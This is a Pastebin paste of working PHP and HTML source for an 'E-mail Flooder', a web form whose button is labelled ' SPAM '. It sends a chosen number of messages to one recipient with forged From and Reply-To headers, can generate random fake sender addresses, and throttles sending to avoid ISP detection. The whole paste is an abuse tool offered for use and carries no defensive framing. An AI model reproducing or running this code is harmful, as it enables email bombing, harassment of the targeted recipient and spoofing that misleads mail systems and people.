Advertisement
Kyfx

mailspoof html code

Apr 11th, 2016
1,337
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.62 KB | None | 0 0
  1.  
  2. <html>
  3. <head>
  4. <style type="text/css">
  5. .header
  6. {
  7. background-color: #ffccaa;
  8. }
  9.  
  10. .cell1
  11. {
  12. background-color: #ffeeca;
  13. width: 50%;
  14. }
  15.  
  16. .cell2
  17. {
  18. background-color: #ffeeca;
  19. }
  20.  
  21. body
  22. {
  23. font: normal 0.8em Verdana, sans-serif;
  24. background-color: #FFFFEE;
  25. }
  26.  
  27. smalltext
  28. {
  29. font: normal .8em Verdana, sans-serif;
  30. }
  31. </style>
  32. <script language="javascript" type="text/javascript">
  33. function randclick()
  34. {
  35. var random = document.getElementById('randbox').checked;
  36. document.getElementById('frombox').disabled = random;
  37. document.getElementById('replybox').disabled = random;
  38. }
  39. function floodc()
  40. {
  41. var fc = document.getElementById('floodbox').checked;
  42. if(!fc)
  43. {
  44. alert("Turning flood control off almost guarantees detection and action by your ISP.\nOnly turn this off if you are SURE it's okay with your ISP to send the amount of e-mail you plan to send.");
  45. }
  46. }
  47. </script>
  48. <title>E-mail Flooder</title>
  49. </head>
  50. <body>
  51. <center>
  52. <h3>Requires an SMTP and Web server</h3>
  53. <?
  54.  
  55.  
  56. function randomEmail()
  57. {
  58. // returns a random, spoofed e-mail address.
  59. // pick two numbers, one in
  60. // [6-10] range, one in [4-20] range, and a random domain.
  61. // for each #, generate that many random letters/numbers, splice together.
  62. $usernum = rand(3,10);
  63. $domainnum = rand(4,10);
  64. $userstr="";
  65. $domainstr="";
  66. for($u=0;$u<$usernum;$u++)
  67. {
  68. // random letter of alphabet.
  69. $ranletter = chr( ord("a") + rand(0, 25) );
  70. $userstr.=$ranletter;
  71. }
  72.  
  73. for($d=0;$d<$domainnum;$d++)
  74. {
  75. // random letter of alphabet.
  76. $ranletter = chr( ord("a") + rand(0, 25) );
  77. $domainstr.=$ranletter;
  78. }
  79.  
  80. $email = "$userstr@$domainstr.com";
  81. return $email;
  82.  
  83. }
  84.  
  85.  
  86. $action =$_POST["submit"];
  87.  
  88. if($action!=" SPAM ")
  89. {
  90.  
  91. ?>
  92. <form method="post" action="?" name="inputpanel">
  93. <table border="1" cellpadding="2">
  94. <tr>
  95. <td colspan="2" class="header">
  96. <p align="center" style="color: ; font-size: 1.5em">E-Mail Flooder</td>
  97. </tr>
  98. <tr>
  99. <td class="cell1">
  100. <p align="right"><b>Subject:</b></td>
  101. <td class="cell2">
  102. <input name="subject" size="30"/>
  103. </td>
  104. </tr>
  105. <tr>
  106. <td colspan="2" class="cell1">
  107. <p align="center">
  108. <b>Message to send:</b>
  109. </p>
  110. </td>
  111. </tr>
  112. <tr>
  113. <td colspan="2" class="cell2">
  114. <p align="center">
  115. <textarea rows="6" cols="55" name="message" class="inputbox" style="overflow:scroll"></textarea></td>
  116. </p>
  117. </tr>
  118. <tr>
  119. <td class="cell1">
  120. <p align="right"><b>To:</b></td>
  121. <td class="cell2">
  122. <input name="emailto" size="30"/>
  123. </td>
  124. </tr>
  125. <tr>
  126. <td class="cell1">
  127. <p align="right"><b>From:</b></td>
  128. <td class="cell2">
  129. <input name="emailfrom" id="frombox" size="30" value="[email protected]" /><br>
  130. <smalltext>Random</smalltext> <input type="checkbox" id="randbox" name="random" onClick="javascript:randclick();" value="ON">
  131. </td>
  132. </tr>
  133. <tr>
  134. <td class="cell1">
  135. <p align="right"><b>Reply-To:</b></td>
  136. <td class="cell2">
  137. <input name="emailreply" id="replybox" size="30" value="[email protected]" />
  138. </td>
  139. </tr>
  140. <tr>
  141. <td class="cell1">
  142. <p align="right"><b>Number to Send:</b></td>
  143. <td class="cell2">
  144. <input name="emailquantity" size="5" maxlength="4" value="10" /><br>
  145. <smalltext>Flood Control</smalltext> <input type="checkbox" id="floodbox" name="floodcontrol" onClick="javascript:floodc();" value="ON" checked />
  146. </td>
  147. </tr>
  148. <tr>
  149. <td colspan="2" class="header">
  150. <p align="center"><input class="submit" type="submit" name="submit" value=" SPAM " /></td>
  151. </tr>
  152. </table>
  153. </form>
  154.  
  155. <?
  156. }else
  157. {
  158. $to = $_POST["emailto"];
  159. $from = $_POST["emailfrom"];
  160. $reply = $_POST["emailreply"];
  161. $subj = stripslashes($_POST["subject"]);
  162. $msg = stripslashes($_POST["message"]);
  163. $random = $_POST["random"];
  164. $quantity = $_POST["emailquantity"];
  165. $floodcontrol = $_POST["floodcontrol"];
  166.  
  167. if($to==""||$subj==""||$msg=="")
  168. {
  169. echo "You must fill out the Subject, Message, and Recipient.<br>";
  170. }else
  171. {
  172. if(($from==""||$reply=="")&&$random!="ON")
  173. {
  174. echo "You must enter a sender and a reply-to address.<br>";
  175. }else
  176. {
  177. set_time_limit(0);
  178. // okay
  179. $counter=0;
  180.  
  181. for($e=0;$e<$quantity;$e++)
  182. {
  183. if($random=="ON")
  184. {
  185. $r = randomEmail();
  186. $from = $r;
  187. $reply = $r;
  188. }
  189.  
  190. // we're ready.
  191.  
  192. $headers = "";
  193. $headers.="From: $from\r\n";
  194. $headers.="Reply-To: $from\r\n";
  195. $headers.="Return-Path: null\r\n";
  196.  
  197. $sentaway = @mail($to,$subj,$msg,$headers);
  198.  
  199. if($sentaway)
  200. {
  201. echo "Sent email <b>#$e</b> from <b>$from</b> to <b>$to</b><br>";
  202. }else
  203. {
  204. echo "<font color='red'>Couldn't send email <b>#$e</b></font><br>";
  205. }
  206. $counter++;
  207. if($counter==10&&$floodcontrol)
  208. {
  209. echo "Wait <u>5</u> seconds...<br>";
  210. $counter=0;
  211. sleep(5);
  212. }
  213.  
  214. }
  215.  
  216. set_time_limit(30);
  217. }
  218. }
  219.  
  220. }
  221.  
  222. ?>
  223.  
  224. </center>
  225. </body>
  226. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement